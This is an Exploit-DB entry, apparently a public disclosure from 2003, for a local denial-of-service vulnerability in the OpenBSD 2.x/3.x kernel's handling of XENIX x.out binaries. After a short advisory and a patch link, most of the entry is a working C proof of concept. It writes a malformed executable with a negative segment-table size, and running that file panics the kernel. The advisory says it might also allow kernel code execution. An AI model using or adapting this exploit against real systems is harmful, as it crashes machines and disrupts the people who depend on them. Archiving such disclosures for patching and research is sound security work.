OpenBSD 2.x/3.x - Local Malformed Binary Execution Denial of Service Vulnerability

2003-11-04T00:00:00
ID EDB-ID:23339
Type exploitdb
Reporter Georgi Guninski
Modified 2003-11-04T00:00:00

Description

OpenBSD 2.x/3.x Local Malformed Binary Execution Denial of Service Vulnerability. Dos exploit for openbsd platform

                                        
                                            source: http://www.securityfocus.com/bid/8978/info

The OpenBSD team has fixed a vulnerability in the OpenBSD kernel when handling certain executables. It appears that the problem lies in the lack of specific sanity checks on binary header values. As a result, a user who constructs a malformed binary and subsequently executes it may trigger a kernel panic.

*** November 5, 2003 - New information discovered by the researcher suggests that the implications of this vulnerability could in fact be higher then initially anticipated. As such, it is believed that successful exploitation of this issue under some conditions could potentially lead to code execution within the context of the kernel. This has been conjectured due to varying crashes observed when triggering the condition. Due to the lack of details regarding this possiblity, the status of this BID will remain the same until more information is available. 

//
// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch
//
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */
/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */

/*
 * Copyright (c) 1994, 1995 Scott Bartram
 * All rights reserved.
 *
 * adapted from sys/sys/exec_ecoff.h
 * based on Intel iBCS2
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 * derived from this software without specific prior written permission
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#ifndef _IBCS2_EXEC_H_
#define _IBCS2_EXEC_H_

/*
 * COFF file header
 */

struct coff_filehdr {
    u_short f_magic; /* magic number */
    u_short f_nscns; /* # of sections */
    long f_timdat; /* timestamp */
    long f_symptr; /* file offset of symbol table */
    long f_nsyms; /* # of symbol table entries */
    u_short f_opthdr; /* size of optional header */
    u_short f_flags; /* flags */
};

/* f_magic flags */
#define COFF_MAGIC_I386 0x14c

/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100

/*
 * COFF system header
 */

struct coff_aouthdr {
    short a_magic;
    short a_vstamp;
    long a_tsize;
    long a_dsize;
    long a_bsize;
    long a_entry;
    long a_tstart;
    long a_dstart;
};

/* magic */
#define COFF_OMAGIC 0407 /* text not write-protected; data seg
is contiguous with text */
#define COFF_NMAGIC 0410 /* text is write-protected; data starts
at next seg following text */
#define COFF_ZMAGIC 0413 /* text and data segs are aligned for
direct paging */
#define COFF_SMAGIC 0443 /* shared lib */

/*
 * COFF section header
 */

struct coff_scnhdr {
    char s_name[8];
    long s_paddr;
    long s_vaddr;
    long s_size;
    long s_scnptr;
    long s_relptr;
    long s_lnnoptr;
    u_short s_nreloc;
    u_short s_nlnno;
    long s_flags;
};

/* s_flags */
#define COFF_STYP_REG 0x00
#define COFF_STYP_DSECT 0x01
#define COFF_STYP_NOLOAD 0x02
#define COFF_STYP_GROUP 0x04
#define COFF_STYP_PAD 0x08
#define COFF_STYP_COPY 0x10
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_BSS 0x80
#define COFF_STYP_INFO 0x200
#define COFF_STYP_OVER 0x400
#define COFF_STYP_SHLIB 0x800

/*
 * COFF shared library header
 */

struct coff_slhdr {
long entry_len; /* in words */
long path_index; /* in words */
char sl_name[1];
};

#define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1))

#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))

#define COFF_HDR_SIZE \
(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))

#define COFF_BLOCK_ALIGN(ap, value) \
        (ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \
         value)

#define COFF_TXTOFF(fp, ap) \
        (ap->a_magic == COFF_ZMAGIC ? 0 : \
         COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \
sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))

#define COFF_DATOFF(fp, ap) \
        (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))

#define COFF_SEGMENT_ALIGN(ap, value) \
        (COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \
         COFF_SEGMENT_ALIGNMENT(ap))))

#define COFF_LDPGSZ 4096

#define COFF_SEGMENT_ALIGNMENT(ap) 4

#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)

#define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28)
#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128)

struct exec_package;
int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);

/*
 * x.out (XENIX)
 */

struct xexec {
u_short x_magic; /* magic number */
u_short x_ext; /* size of extended header */
long x_text; /* ignored */
long x_data; /* ignored */
long x_bss; /* ignored */
long x_syms; /* ignored */
long x_reloc; /* ignored */
long x_entry; /* executable entry point */
char x_cpu; /* processor type */
char x_relsym; /* ignored */
u_short x_renv; /* flags */
};

/* x_magic flags */
#define XOUT_MAGIC 0x0206

/* x_cpu flags */
#define XC_386 0x004a /* 386, word-swapped */

/* x_renv flags */
#define XE_V5 0xc000
#define XE_SEG 0x0800
#define XE_ABS 0x0400
#define XE_ITER 0x0200
#define XE_VMOD 0x0100
#define XE_FPH 0x0080
#define XE_LTEXT 0x0040
#define XE_LDATA 0x0020
#define XE_OVER 0x0010
#define XE_FS 0x0008
#define XE_PURE 0x0004
#define XE_SEP 0x0002
#define XE_EXEC 0x0001

/*
 * x.out extended header
 */

struct xext {
long xe_trsize; /* ignored */
long xe_drsize; /* ignored */
long xe_tbase; /* ignored */
long xe_dbase; /* ignored */
long xe_stksize; /* stack size if XE_FS set in x_renv */
long xe_segpos; /* offset of segment table */
long xe_segsize; /* segment table size */
long xe_mdtpos; /* ignored */
long xe_mdtsize; /* ignored */
char xe_mdttype; /* ignored */
char xe_pagesize; /* ignored */
char xe_ostype; /* ignored */
char xe_osvers; /* ignored */
u_short xe_eseg; /* ignored */
u_short xe_sres; /* ignored */
};

/*
 * x.out segment table
 */

struct xseg {
u_short xs_type; /* segment type */
u_short xs_attr; /* attribute flags */
u_short xs_seg; /* segment selector number */
char xs_align; /* ignored */
char xs_cres; /* ignored */
long xs_filpos; /* offset of this segment */
long xs_psize; /* physical segment size */
long xs_vsize; /* virtual segment size */
long xs_rbase; /* relocation base address */
u_short xs_noff; /* ignored */
u_short xs_sres; /* ignored */
long xs_lres; /* ignored */
};

/* xs_type flags */
#define XS_TNULL 0 /* unused */
#define XS_TTEXT 1 /* text (read-only) */
#define XS_TDATA 2 /* data (read-write) */
#define XS_TSYMS 3 /* symbol table (noload) */
#define XS_TREL 4 /* relocation segment (noload) */
#define XS_TSESTR 5 /* string table (noload) */
#define XS_TGRPS 6 /* group segment (noload) */

#define XS_TIDATA 64
#define XS_TTSS 65
#define XS_TLFIX 66
#define XS_TDNAME 67
#define XS_TDTEXT 68
#define XS_TDFIX 69
#define XS_TOVTAB 70
#define XS_T71 71
#define XS_TSYSTR 72

/* xs_attr flags */
#define XS_AMEM 0x8000 /* memory image */
#define XS_AITER 0x0001 /* iteration records */
#define XS_AHUGE 0x0002 /* unused */
#define XS_ABSS 0x0004 /* uninitialized data */
#define XS_APURE 0x0008 /* read-only (sharable) segment */
#define XS_AEDOWN 0x0010 /* expand down memory segment */
#define XS_APRIV 0x0020 /* unused */
#define XS_A32BIT 0x0040 /* 32-bit text/data */

/*
 * x.out iteration record
 */

struct xiter {
long xi_size; /* text/data size */
long xi_rep; /* number of replications */
long xi_offset; /* offset within segment to replicated data */
};

#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))

int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);

#endif /* !_IBCS2_EXEC_H_ */

int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";

fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);

}